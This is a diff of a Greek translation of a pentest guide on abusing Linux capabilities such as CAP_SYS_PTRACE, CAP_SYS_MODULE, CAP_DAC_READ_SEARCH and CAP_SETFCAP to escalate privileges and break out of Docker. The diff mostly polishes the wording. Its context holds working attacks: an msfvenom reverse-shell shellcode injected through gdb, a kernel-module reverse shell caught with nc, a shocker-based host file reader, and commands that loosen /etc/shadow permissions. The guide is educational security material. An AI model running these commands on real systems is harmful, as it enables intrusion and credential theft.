= {} - ``` - -5. Συνεχίστε την εκτέλεση του προγράμματος: - ```gdb - (gdb) continue - ``` - -Αυτό θα εκτελέσει το shellcode που έχετε εισάγει στη μνήμη. -``` +Δημιουργήστε ένα shellcode με το msfvenom για να το εισάγετε στη μνήμη μέσω του gdb. ```python # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py buf = b"" @@ -601,7 +560,7 @@ chunks += f"{byte:02x}" print(f"set {{long}}($rip+{i}) = {chunks}") ``` -Αποσφαλμάτωσε μια διαδικασία root με gdb και αντιγράψτε-επικολλήστε τις προηγουμένως παραγόμενες γραμμές gdb: +Αποσφαλμάτωσε μια διαδικασία root με το gdb και αντιγράψτε-επικολλήστε τις προηγουμένως παραγόμενες γραμμές gdb: ```bash # Let's write the commands to a file echo 'set {long}($rip+0) = 0x296a909090909090 @@ -663,12 +622,12 @@ List **processes** running in the **host** `ps -eaf` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** δίνει τη δυνατότητα σε μια διαδικασία να **φορτώνει και να ξεφορτώνει** πυρήνα modules (`init_module(2)`, `finit_module(2)` και `delete_module(2)` system calls), προσφέροντας άμεση πρόσβαση στις βασικές λειτουργίες του πυρήνα. Αυτή η ικανότητα παρουσιάζει κρίσιμους κινδύνους ασφαλείας, καθώς επιτρέπει την κλιμάκωση προνομίων και την πλήρη συμβιβασμό του συστήματος επιτρέποντας τροποποιήσεις στον πυρήνα, παρακάμπτοντας έτσι όλους τους μηχανισμούς ασφαλείας του Linux, συμπεριλαμβανομένων των Linux Security Modules και της απομόνωσης κοντέινερ. -**Αυτό σημαίνει ότι μπορείτε να** **εισάγετε/αφαιρέσετε** πυρήνα modules από/στον πυρήνα της μηχανής-φιλοξενουμένης.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** δίνει τη δυνατότητα σε μια διαδικασία να **φορτώνει και να αφαιρεί πυρήνες (`init_module(2)`, `finit_module(2)` και `delete_module(2)` system calls)**, προσφέροντας άμεση πρόσβαση στις βασικές λειτουργίες του πυρήνα. Αυτή η δυνατότητα παρουσιάζει κρίσιμους κινδύνους ασφαλείας, καθώς επιτρέπει την κλιμάκωση προνομίων και την πλήρη συμβιβασμό του συστήματος επιτρέποντας τροποποιήσεις στον πυρήνα, παρακάμπτοντας έτσι όλους τους μηχανισμούς ασφαλείας του Linux, συμπεριλαμβανομένων των Linux Security Modules και της απομόνωσης κοντέινερ. +**Αυτό σημαίνει ότι μπορείτε να** **εισάγετε/αφαιρέσετε πυρήνες από/στον πυρήνα της μηχανής-φιλοξενουμένης.** -**Παράδειγμα με δυαδικό** +**Example with binary** -Στο παρακάτω παράδειγμα το δυαδικό **`python`** έχει αυτή την ικανότητα. +In the following example the binary **`python`** has this capability. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep @@ -754,8 +713,8 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean > Ο κενός χαρακτήρας πριν από κάθε λέξη make στο Makefile **πρέπει να είναι ένα tab, όχι κενά**! Εκτελέστε `make` για να το μεταγλωττίσετε. -``` -ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. +```bash +Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade @@ -768,18 +727,18 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` -**Ο κώδικας αυτής της τεχνικής αντιγράφηκε από το εργαστήριο "Abusing SYS_MODULE Capability" από** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) +**Ο κώδικας αυτής της τεχνικής αντιγράφηκε από το εργαστήριο "Κατάχρηση της δυνατότητας SYS_MODULE" από** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) Ένα άλλο παράδειγμα αυτής της τεχνικής μπορεί να βρεθεί στο [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του mount namespace της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστής που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραβίαση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του namespace τοποθέτησης της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστικός αριθμός που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραποίηση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). **Αυτό σημαίνει ότι μπορείτε να** **παρακάμψετε τους ελέγχους άδειας ανάγνωσης αρχείων και τους ελέγχους άδειας ανάγνωσης/εκτέλεσης καταλόγων.** **Παράδειγμα με δυαδικό αρχείο** -Το δυαδικό αρχείο θα μπορεί να διαβάσει οποιοδήποτε αρχείο. Έτσι, αν ένα αρχείο όπως το tar έχει αυτή την ικανότητα, θα μπορεί να διαβάσει το αρχείο shadow: +Το δυαδικό αρχείο θα μπορεί να διαβάσει οποιοδήποτε αρχείο. Έτσι, αν ένα αρχείο όπως το tar έχει αυτή τη δυνατότητα, θα μπορεί να διαβάσει το αρχείο shadow: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp @@ -788,7 +747,7 @@ tar -cxf shadow.tar.gz ``` **Παράδειγμα με binary2** -Σε αυτή την περίπτωση ας υποθέσουμε ότι το **`python`** δυαδικό αρχείο έχει αυτή την ικανότητα. Για να καταγράψετε τα αρχεία του root μπορείτε να κάνετε: +Σε αυτή την περίπτωση ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Για να καταγράψετε τα αρχεία του root μπορείτε να κάνετε: ```python import os for r, d, f in os.walk('/root'): @@ -816,9 +775,9 @@ groups=0(root) ``` Μέσα στην προηγούμενη έξοδο μπορείτε να δείτε ότι η δυνατότητα **DAC_READ_SEARCH** είναι ενεργοποιημένη. Ως αποτέλεσμα, το κοντέινερ μπορεί να **debug processes**. -Μπορείτε να μάθετε πώς λειτουργεί η παρακάτω εκμετάλλευση στο [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) αλλά συνοπτικά, η **CAP_DAC_READ_SEARCH** όχι μόνο μας επιτρέπει να διασχίζουμε το σύστημα αρχείων χωρίς ελέγχους αδειών, αλλά επίσης αφαιρεί ρητά οποιουσδήποτε ελέγχους για το _**open_by_handle_at(2)**_ και **θα μπορούσε να επιτρέψει στη διαδικασία μας να έχει πρόσβαση σε ευαίσθητα αρχεία που έχουν ανοιχτεί από άλλες διαδικασίες**. +Μπορείτε να μάθετε πώς λειτουργεί η παρακάτω εκμετάλλευση στο [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) αλλά συνοπτικά, η **CAP_DAC_READ_SEARCH** όχι μόνο μας επιτρέπει να διασχίζουμε το σύστημα αρχείων χωρίς ελέγχους δικαιωμάτων, αλλά επίσης αφαιρεί ρητά οποιουσδήποτε ελέγχους για το _**open_by_handle_at(2)**_ και **θα μπορούσε να επιτρέψει στη διαδικασία μας να έχει πρόσβαση σε ευαίσθητα αρχεία που έχουν ανοιχτεί από άλλες διαδικασίες**. -Η αρχική εκμετάλλευση που εκμεταλλεύεται αυτές τις άδειες για να διαβάσει αρχεία από τον κεντρικό υπολογιστή μπορεί να βρεθεί εδώ: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), η παρακάτω είναι μια **τροποποιημένη έκδοση που σας επιτρέπει να υποδείξετε το αρχείο που θέλετε να διαβάσετε ως πρώτο επιχείρημα και να το αποθηκεύσετε σε ένα αρχείο.** +Η αρχική εκμετάλλευση που εκμεταλλεύεται αυτά τα δικαιώματα για να διαβάσει αρχεία από τον κεντρικό υπολογιστή μπορεί να βρεθεί εδώ: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), η παρακάτω είναι μια **τροποποιημένη έκδοση που σας επιτρέπει να υποδείξετε το αρχείο που θέλετε να διαβάσετε ως πρώτο επιχείρημα και να το αποθηκεύσετε σε ένα αρχείο.** ```c #include #include @@ -990,7 +949,7 @@ getcap -r / 2>/dev/null vim /etc/sudoers #To overwrite it ``` -**Παράδειγμα με το δυαδικό 2** +**Παράδειγμα με δυαδικό 2** Σε αυτό το παράδειγμα, το **`python`** δυαδικό θα έχει αυτή την ικανότητα. Μπορείτε να χρησιμοποιήσετε το python για να παρακάμψετε οποιοδήποτε αρχείο: ```python @@ -1159,7 +1118,7 @@ return 0; ## CAP_CHOWN -**Αυτό σημαίνει ότι είναι δυνατό να αλλάξετε την ιδιοκτησία οποιουδήποτε αρχείου.** +**Αυτό σημαίνει ότι είναι δυνατόν να αλλάξετε την ιδιοκτησία οποιουδήποτε αρχείου.** **Παράδειγμα με δυαδικό** @@ -1173,11 +1132,11 @@ ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` ## CAP_FOWNER -**Αυτό σημαίνει ότι είναι δυνατή η αλλαγή των δικαιωμάτων οποιουδήποτε αρχείου.** +**Αυτό σημαίνει ότι είναι δυνατόν να αλλάξετε την άδεια οποιουδήποτε αρχείου.** -**Παράδειγμα με δυαδικό αρχείο** +**Παράδειγμα με δυαδικό** -Εάν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τα δικαιώματα του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κερδίσετε δικαιώματα: +Αν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τις άδειες του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κερδίσετε προνόμια: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` @@ -1219,7 +1178,7 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` -Μόλις βρείτε ένα αρχείο που μπορείτε να εκμεταλλευτείτε (μέσω ανάγνωσης ή εγγραφής) για να κλιμακώσετε τα δικαιώματα, μπορείτε να **πάρετε ένα shell προσποιούμενοι την ενδιαφέρουσα ομάδα** με: +Αφού βρείτε ένα αρχείο που μπορείτε να εκμεταλλευτείτε (μέσω ανάγνωσης ή εγγραφής) για να κερδίσετε δικαιώματα, μπορείτε να **πάρετε ένα shell προσποιούμενοι την ενδιαφέρουσα ομάδα** με: ```python import os os.setgid(42) @@ -1229,7 +1188,7 @@ os.system("/bin/bash") ```bash cat /etc/shadow ``` -Αν είναι εγκατεστημένο το **docker**, θα μπορούσατε να **παριστάνετε** την **ομάδα docker** και να την εκμεταλλευτείτε για να επικοινωνήσετε με το [**docker socket** και να κλιμακώσετε τα δικαιώματα](#writable-docker-socket). +Αν το **docker** είναι εγκατεστημένο, μπορείτε να **παριστάνετε** την **ομάδα docker** και να την εκμεταλλευτείτε για να επικοινωνήσετε με το [**docker socket** και να κλιμακώσετε τα δικαιώματα](#writable-docker-socket). ## CAP_SETFCAP @@ -1265,13 +1224,13 @@ print (cap + " was successfully added to " + path) python setcapability.py /usr/bin/python2.7 ``` > [!WARNING] -> Σημειώστε ότι αν ορίσετε μια νέα ικανότητα στο δυαδικό αρχείο με CAP_SETFCAP, θα χάσετε αυτή την ικανότητα. +> Σημειώστε ότι αν ορίσετε μια νέα ικανότητα στο δυαδικό αρχείο με το CAP_SETFCAP, θα χάσετε αυτή την ικανότητα. Μόλις έχετε [SETUID capability](linux-capabilities.md#cap_setuid) μπορείτε να μεταβείτε στην ενότητα του για να δείτε πώς να κλιμακώσετε τα δικαιώματα. **Παράδειγμα με περιβάλλον (Docker breakout)** -Από προεπιλογή, η ικανότητα **CAP_SETFCAP δίνεται στη διαδικασία μέσα στο κοντέινερ στο Docker**. Μπορείτε να το ελέγξετε κάνοντας κάτι όπως: +Από προεπιλογή η ικανότητα **CAP_SETFCAP δίνεται στη διαδικασία μέσα στο κοντέινερ στο Docker**. Μπορείτε να το ελέγξετε κάνοντας κάτι όπως: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1283,8 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` -Αυτή η δυνατότητα επιτρέπει να **δώσουμε οποιαδήποτε άλλη δυνατότητα σε δυαδικά αρχεία**, οπότε θα μπορούσαμε να σκεφτούμε για **διαφυγή** από το κοντέινερ **καταχρώντας οποιαδήποτε από τις άλλες δυνατότητες διαφυγής** που αναφέρονται σε αυτή τη σελίδα.\ -Ωστόσο, αν προσπαθήσετε να δώσετε για παράδειγμα τις δυνατότητες CAP_SYS_ADMIN και CAP_SYS_PTRACE στο δυαδικό αρχείο gdb, θα διαπιστώσετε ότι μπορείτε να τις δώσετε, αλλά το **δυαδικό αρχείο δεν θα μπορεί να εκτελεστεί μετά από αυτό**: +Αυτή η ικανότητα επιτρέπει να **δώσουμε οποιαδήποτε άλλη ικανότητα σε δυαδικά αρχεία**, οπότε θα μπορούσαμε να σκεφτούμε για **διαφυγή** από το κοντέινερ **καταχρώντας οποιαδήποτε από τις άλλες ικανότητες που αναφέρονται σε αυτή τη σελίδα**.\ +Ωστόσο, αν προσπαθήσετε να δώσετε για παράδειγμα τις ικανότητες CAP_SYS_ADMIN και CAP_SYS_PTRACE στο δυαδικό αρχείο gdb, θα διαπιστώσετε ότι μπορείτε να τις δώσετε, αλλά το **δυαδικό αρχείο δεν θα μπορεί να εκτελεστεί μετά από αυτό**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1294,25 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` -[Από τα έγγραφα](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Αυτό είναι ένα **περιοριστικό υπερσύνολο για τις αποτελεσματικές ικανότητες** που μπορεί να αναλάβει το νήμα. Είναι επίσης ένα περιοριστικό υπερσύνολο για τις ικανότητες που μπορεί να προστεθούν στο κληρονομούμενο σύνολο από ένα νήμα που **δεν έχει την ικανότητα CAP_SETPCAP** στο αποτελεσματικό του σύνολο._\ +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Αυτό είναι ένα **περιοριστικό υπερσύνολο για τις αποτελεσματικές ικανότητες** που μπορεί να αναλάβει το νήμα. Είναι επίσης ένα περιοριστικό υπερσύνολο για τις ικανότητες που μπορεί να προστεθούν στο κληρονομούμενο σύνολο από ένα νήμα που **δεν έχει την ικανότητα CAP_SETPCAP** στο αποτελεσματικό του σύνολο._\ Φαίνεται ότι οι επιτρεπόμενες ικανότητες περιορίζουν αυτές που μπορούν να χρησιμοποιηθούν.\ Ωστόσο, το Docker παρέχει επίσης την **CAP_SETPCAP** από προεπιλογή, οπότε μπορεί να είστε σε θέση να **ορίσετε νέες ικανότητες μέσα στις κληρονομούμενες**.\ Ωστόσο, στην τεκμηρίωση αυτής της ικανότητας: _CAP_SETPCAP : \[…] **προσθέτει οποιαδήποτε ικανότητα από το περιοριστικό σύνολο του καλούντος νήματος** στο κληρονομούμενο σύνολο_.\ -Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομούμενο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP_SYS_ADMIN ή CAP_SYS_PTRACE στο κληρονομούμενο σύνολο για να κλιμακώσουμε προνόμια**. +Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομούμενο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP_SYS_ADMIN ή CAP_SYS_PTRACE στο κληρονομούμενο σύνολο για να κλιμακώσουμε τα προνόμια**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά από ευαίσθητες λειτουργίες, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση `mmap_min_addr`, πρόσβαση σε `ioperm(2)` και `iopl(2)` συστήματα κλήσεων, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` είναι επίσης ενεργοποιημένη μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά ευαίσθητων λειτουργιών, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση `mmap_min_addr`, πρόσβαση σε κλήσεις συστήματος `ioperm(2)` και `iopl(2)`, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` ενεργοποιείται επίσης μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`. -Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση προνομίων** και **breakout Docker.** +Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση προνομίων** και **breakout του Docker.** ## CAP_KILL -**Αυτό σημαίνει ότι είναι δυνατό να σκοτώσετε οποιαδήποτε διαδικασία.** +**Αυτό σημαίνει ότι είναι δυνατό να τερματίσετε οποιαδήποτε διαδικασία.** **Παράδειγμα με δυαδικό** -Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Αν μπορούσατε **επίσης να τροποποιήσετε κάποια υπηρεσία ή ρύθμιση υποδοχής** (ή οποιοδήποτε αρχείο ρύθμισης που σχετίζεται με μια υπηρεσία), θα μπορούσατε να το backdoor, και στη συνέχεια να σκοτώσετε τη διαδικασία που σχετίζεται με αυτή την υπηρεσία και να περιμένετε να εκτελεστεί το νέο αρχείο ρύθμισης με το backdoor σας. +Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Αν μπορούσατε **επίσης να τροποποιήσετε κάποια ρύθμιση υπηρεσίας ή socket** (ή οποιοδήποτε αρχείο ρύθμισης σχετικό με μια υπηρεσία), θα μπορούσατε να το backdoor, και στη συνέχεια να τερματίσετε τη διαδικασία που σχετίζεται με αυτή την υπηρεσία και να περιμένετε να εκτελεστεί το νέο αρχείο ρύθμισης με το backdoor σας. ```python #Use this python code to kill arbitrary processes import os @@ -1334,7 +1293,7 @@ electron-cef-chromium-debugger-abuse.md ## CAP_NET_BIND_SERVICE -**Αυτό σημαίνει ότι είναι δυνατό να ακούσετε σε οποιαδήποτε θύρα (ακόμα και σε προνομιούχες).** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα. +**Αυτό σημαίνει ότι είναι δυνατόν να ακούσετε σε οποιαδήποτε θύρα (ακόμα και σε προνομιούχες).** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα. **Παράδειγμα με δυαδικό αρχείο** @@ -1366,7 +1325,7 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα επιτρέπει στις διαδικασίες να **δημιουργούν RAW και PACKET sockets**, επιτρέποντάς τους να παράγουν και να στέλνουν αυθαίρετα πακέτα δικτύου. Αυτό μπορεί να οδηγήσει σε κινδύνους ασφαλείας σε κοντεϊνεροποιημένα περιβάλλοντα, όπως η παραχάραξη πακέτων, η έγχυση κυκλοφορίας και η παράκαμψη ελέγχων πρόσβασης δικτύου. Κακόβουλοι παράγοντες θα μπορούσαν να εκμεταλλευτούν αυτό για να παρεμβαίνουν στη δρομολόγηση κοντεϊνερ ή να διακυβεύσουν την ασφάλεια του δικτύου του κεντρικού υπολογιστή, ειδικά χωρίς επαρκείς προστασίες τείχους προστασίας. Επιπλέον, **CAP_NET_RAW** είναι κρίσιμη για τα προνομιούχα κοντέινερ ώστε να υποστηρίζουν λειτουργίες όπως το ping μέσω RAW ICMP αιτημάτων. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα επιτρέπει στις διαδικασίες να **δημιουργούν RAW και PACKET sockets**, επιτρέποντάς τους να παράγουν και να στέλνουν αυθαίρετα πακέτα δικτύου. Αυτό μπορεί να οδηγήσει σε κινδύνους ασφαλείας σε κοντεϊνεροποιημένα περιβάλλοντα, όπως η παραχάραξη πακέτων, η έγχυση κυκλοφορίας και η παράκαμψη ελέγχων πρόσβασης δικτύου. Κακόβουλοι παράγοντες θα μπορούσαν να εκμεταλλευτούν αυτό για να παρεμβαίνουν στη δρομολόγηση κοντεϊνερών ή να διακυβεύσουν την ασφάλεια του δικτύου του κεντρικού υπολογιστή, ειδικά χωρίς επαρκείς προστασίες τείχους προστασίας. Επιπλέον, **CAP_NET_RAW** είναι κρίσιμη για τα προνομιούχα κοντέινερ ώστε να υποστηρίζουν λειτουργίες όπως το ping μέσω RAW ICMP αιτημάτων. **Αυτό σημαίνει ότι είναι δυνατόν να καταγράψετε την κυκλοφορία.** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα. @@ -1427,7 +1386,7 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχο τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των αδειών υποδοχών και των ρυθμίσεων διεπαφής δικτύου εντός των εκτεθειμένων namespaces δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την παρακολούθηση πακέτων σε διάφορα namespaces. +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχο τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των αδειών υποδοχών και των ρυθμίσεων διεπαφής δικτύου εντός των εκτεθειμένων ονομάτων χώρου δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την ανίχνευση πακέτων σε διάφορους χώρους ονομάτων. **Παράδειγμα με δυαδικό** @@ -1445,11 +1404,11 @@ iptc.easy.flush_table('filter') ``` ## CAP_LINUX_IMMUTABLE -**Αυτό σημαίνει ότι είναι δυνατή η τροποποίηση των χαρακτηριστικών inode.** Δεν μπορείτε να αναβαθμίσετε τα δικαιώματα άμεσα με αυτή την ικανότητα. +**Αυτό σημαίνει ότι είναι δυνατή η τροποποίηση των χαρακτηριστικών inode.** Δεν μπορείτε να αναβαθμίσετε τα δικαιώματα άμεσα με αυτήν την ικανότητα. **Παράδειγμα με δυαδικό αρχείο** -Αν διαπιστώσετε ότι ένα αρχείο είναι αμετάβλητο και η python έχει αυτή την ικανότητα, μπορείτε να **αφαιρέσετε το χαρακτηριστικό αμεταβλητότητας και να κάνετε το αρχείο τροποποιήσιμο:** +Αν διαπιστώσετε ότι ένα αρχείο είναι αμετάβλητο και η python έχει αυτήν την ικανότητα, μπορείτε να **αφαιρέσετε το χαρακτηριστικό αμεταβλητότητας και να κάνετε το αρχείο τροποποιήσιμο:** ```python #Check that the file is imutable lsattr file.sh @@ -1472,7 +1431,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f) f=open("/path/to/file.sh",'a+') f.write('New content for the file\n') ``` -> [!NOTE] +> [!TIP] > Σημειώστε ότι συνήθως αυτό το αμετάβλητο χαρακτηριστικό ρυθμίζεται και αφαιρείται χρησιμοποιώντας: > > ```bash @@ -1482,10 +1441,10 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει την εκτέλεση της κλήσης συστήματος `chroot(2)`, η οποία μπορεί δυνητικά να επιτρέψει την έξοδο από περιβάλλοντα `chroot(2)` μέσω γνωστών ευπαθειών: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει την εκτέλεση της κλήσης συστήματος `chroot(2)`, η οποία μπορεί δυνητικά να επιτρέψει την απόδραση από περιβάλλοντα `chroot(2)` μέσω γνωστών ευπαθειών: - [Πώς να σπάσετε διάφορες λύσεις chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: εργαλείο εξόδου chroot](https://github.com/earthquake/chw00t/) +- [chw00t: εργαλείο απόδρασης chroot](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT @@ -1499,10 +1458,10 @@ f.write('New content for the file\n') ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επεκτείνει τη λειτουργικότητα της κλήσης συστήματος `mknod` πέρα από τη δημιουργία κανονικών αρχείων, FIFOs (ονομασμένες σωλήνες) ή υποδοχών τομέα UNIX. Επιτρέπει συγκεκριμένα τη δημιουργία ειδικών αρχείων, τα οποία περιλαμβάνουν: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επεκτείνει τη λειτουργικότητα της κλήσης συστήματος `mknod` πέρα από τη δημιουργία κανονικών αρχείων, FIFOs (ονόματα σωλήνων) ή υποδοχών τομέα UNIX. Επιτρέπει συγκεκριμένα τη δημιουργία ειδικών αρχείων, τα οποία περιλαμβάνουν: -- **S_IFCHR**: Ειδικά αρχεία χαρακτήρων, τα οποία είναι συσκευές όπως τερματικά. -- **S_IFBLK**: Ειδικά αρχεία μπλοκ, τα οποία είναι συσκευές όπως δίσκοι. +- **S_IFCHR**: Αρχεία ειδικών χαρακτήρων, τα οποία είναι συσκευές όπως τερματικά. +- **S_IFBLK**: Αρχεία ειδικών μπλοκ, τα οποία είναι συσκευές όπως δίσκοι. Αυτή η ικανότητα είναι απαραίτητη για διαδικασίες που απαιτούν τη δυνατότητα δημιουργίας αρχείων συσκευών, διευκολύνοντας την άμεση αλληλεπίδραση με το υλικό μέσω χαρακτήρων ή μπλοκ συσκευών. @@ -1514,7 +1473,7 @@ f.write('New content for the file\n') 2. Έχετε αρχική πρόσβαση στο κοντέινερ (με δικαιώματα (EUID 0), και 